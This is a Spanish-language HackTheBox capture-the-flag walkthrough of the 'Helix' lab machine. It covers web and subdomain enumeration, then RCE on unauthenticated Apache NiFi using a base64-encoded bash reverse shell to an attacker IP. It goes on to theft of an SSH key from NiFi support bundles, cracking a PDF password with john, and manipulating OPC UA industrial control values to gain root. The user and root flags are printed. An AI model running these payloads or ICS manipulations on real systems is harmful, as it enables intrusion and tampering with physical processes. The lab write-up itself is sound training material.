CorvusDDosKRom

HackTheBox: Helix

Medium

Helix es una máquina de nivel Medium en HackTheBox con Linux que involucra el abuso de Apache NiFi 1.21.0 sin autenticación para obtener RCE via un processor ExecuteScript con Groovy, encontrar una clave SSH privada de operator en los support-bundles de NiFi, y escalar a root manipulando un servidor OPC UA industrial para abrir una ventana de mantenimiento que otorga una shell root privilegiada.

Linux
Hack The Box
Apache NiFi CVE-2023-34468 RCE ExecuteScript Groovy Subdomain Enumeration SSH Key OPC UA Industrial Control Systems sudo

Helix

Plataforma: HackTheBox

Dificultad: Medium

🔗 Link de la máquina: https://app.hackthebox.com/machines/Helix

Helix

Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN helix.txt 10.129.64.215
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 16:31 -0300
Nmap scan report for 10.129.64.215
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo los puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detecta versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN helix.txt: Guarda los resultados en el archivo “helix.txt”.

Puertos descubiertos:

  • 22/tcp — SSH (OpenSSH 8.9p1, Ubuntu)
  • 80/tcp — HTTP (nginx 1.18.0, redirige a helix.htb)

Añadimos el dominio al /etc/hosts:

echo "10.129.64.215 helix.htb" | sudo tee -a /etc/hosts

Enumeración Web

El sitio principal es una web corporativa ficticia de “Helix Industries Operations Center”. Enumeramos subdominios:

ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302
flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1484ms]

Encontramos flow.helix.htb. Lo añadimos al /etc/hosts:

echo "10.129.64.215 flow.helix.htb" | sudo tee -a /etc/hosts

Al acceder encontramos Apache NiFi 1.21.0 — expuesto sin autenticación, con un canvas que ya contiene un processor ExecuteSQL.

NiFi Flow


Acceso Inicial — CVE-2023-34468 (Apache NiFi RCE)

flow.helix.htb expone Apache NiFi 1.21.0 sin autenticación. Creamos un processor ExecuteScript con Groovy para obtener una reverse shell directa:

Script Body (Groovy):

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41Mi80NDQ0IDA+JjE=}|{base64,-d}|bash".execute()

En NiFi: SETTINGS → auto-terminar relationships success y failure → APPLY → click derecho → Run Once.

NiFi RCE

nc -lvnp 4444

NiFi RCE

Obtenemos shell como nifi en /opt/nifi-1.21.0.

Escalada nifi → operator (SSH Key)

Buscando claves privadas en archivos legibles:

find /opt /etc /var -type f -readable -size +100c -size -10M -exec grep -Irl "BEGIN.*PRIVATE KEY" {} + 2>/dev/null
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

Encontramos una clave privada ED25519 de operator en los support-bundles de NiFi. La copiamos a nuestra máquina:

chmod 600 operator_id_ed25519
ssh -i operator_id_ed25519 operator@helix.htb

SSH operator


User Flag

cat ~/user.txt
4986083e1d95259a4b1f4886fbebf07b

User Flag


Escalada de Privilegios — OPC UA Industrial Control System

Enumeración sudo

sudo -l
(root) NOPASSWD: /usr/local/sbin/helix-maint-console

operator puede correr helix-maint-console como root sin contraseña. Al ejecutarlo directamente responde Maintenance window CLOSED. — necesita que el archivo /opt/helix/state/maintenance_window contenga un timestamp futuro.

Análisis del sistema

En el home de operator encontramos documentación del sistema:

ls ~/
# control systems diagram.png  Operator Control & Safety Guide.pdf  user.txt

El PDF está protegido con contraseña. Lo crackeamos desde nuestra máquina:

pdf2john 'Operator Control & Safety Guide.pdf' > helix_pdf.hash
john helix_pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt
operator1    (Operator Control & Safety Guide.pdf)

John PDF

El PDF documenta el sistema OPC UA industrial de Helix:

  • Servidor OPC UA: opc.tcp://127.0.0.1:4840/helix/
  • Ventana de mantenimiento: se abre cuando Temperature ≥ 295°C OR Pressure ≥ 73 bar (por debajo del trip limit de 305°C/75 bar)
  • Procedimiento: Mode → MAINTENANCE → TestOverride → True → subir CalibrationOffset gradualmente

Control Systems

Exploración del árbol OPC UA

Creamos un SSH tunnel para conectar desde nuestra máquina al servidor OPC UA:

ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@helix.htb -N &

Exploramos el árbol de nodos con la librería opcua:

from opcua import Client

c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.connect()
objects = c.get_objects_node()
# browse tree...

Nodos relevantes encontrados:

QualifiedName(2:Temperature)      = 283.93°C | ns=2;i=4
QualifiedName(2:Pressure)         = 68.99 bar | ns=2;i=5
QualifiedName(2:CalibrationOffset)= 0.0       | ns=2;i=6
QualifiedName(2:TripActive)       = False     | ns=2;i=10
QualifiedName(2:Mode)             = NORMAL    | ns=2;i=12
QualifiedName(2:TestOverride)     = False     | ns=2;i=13

Apertura de la ventana de mantenimiento

Seguimos el procedimiento documentado en el PDF — subimos CalibrationOffset de 1 en 1 hasta alcanzar 295°C:

from opcua import Client
import time

c = Client("opc.tcp://127.0.0.1:4840/helix/")
c.connect()

c.get_node("ns=2;i=12").set_value("MAINTENANCE")
c.get_node("ns=2;i=13").set_value(True)

for offset in range(1, 20):
    c.get_node("ns=2;i=6").set_value(float(offset))
    temp = c.get_node("ns=2;i=4").get_value()
    print(f"  Offset={offset} | Temp={temp:.2f}°C")
    if temp >= 295.0:
        print("[+] Target temperature reached!")
        break
    time.sleep(2)

c.disconnect()
  Offset=1  | Temp=284.01°C
  Offset=6  | Temp=290.31°C
  Offset=10 | Temp=294.44°C
  Offset=12 | Temp=295.37°C
[+] Target temperature reached!

El safety controller detecta la condición y abre la ventana de mantenimiento escribiendo el timestamp en /opt/helix/state/maintenance_window.

Shell como root

sudo /usr/local/sbin/helix-maint-console

Root Shell

[+] Privileged maintenance access granted
[!] Window expires in 79 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

Root Flag

cat /root/root.txt
56c56d8aaa931d3059dcf9d85bfbdac9

Root Flag


¡Root conseguido!

Hemos completado exitosamente la máquina Helix de HackTheBox.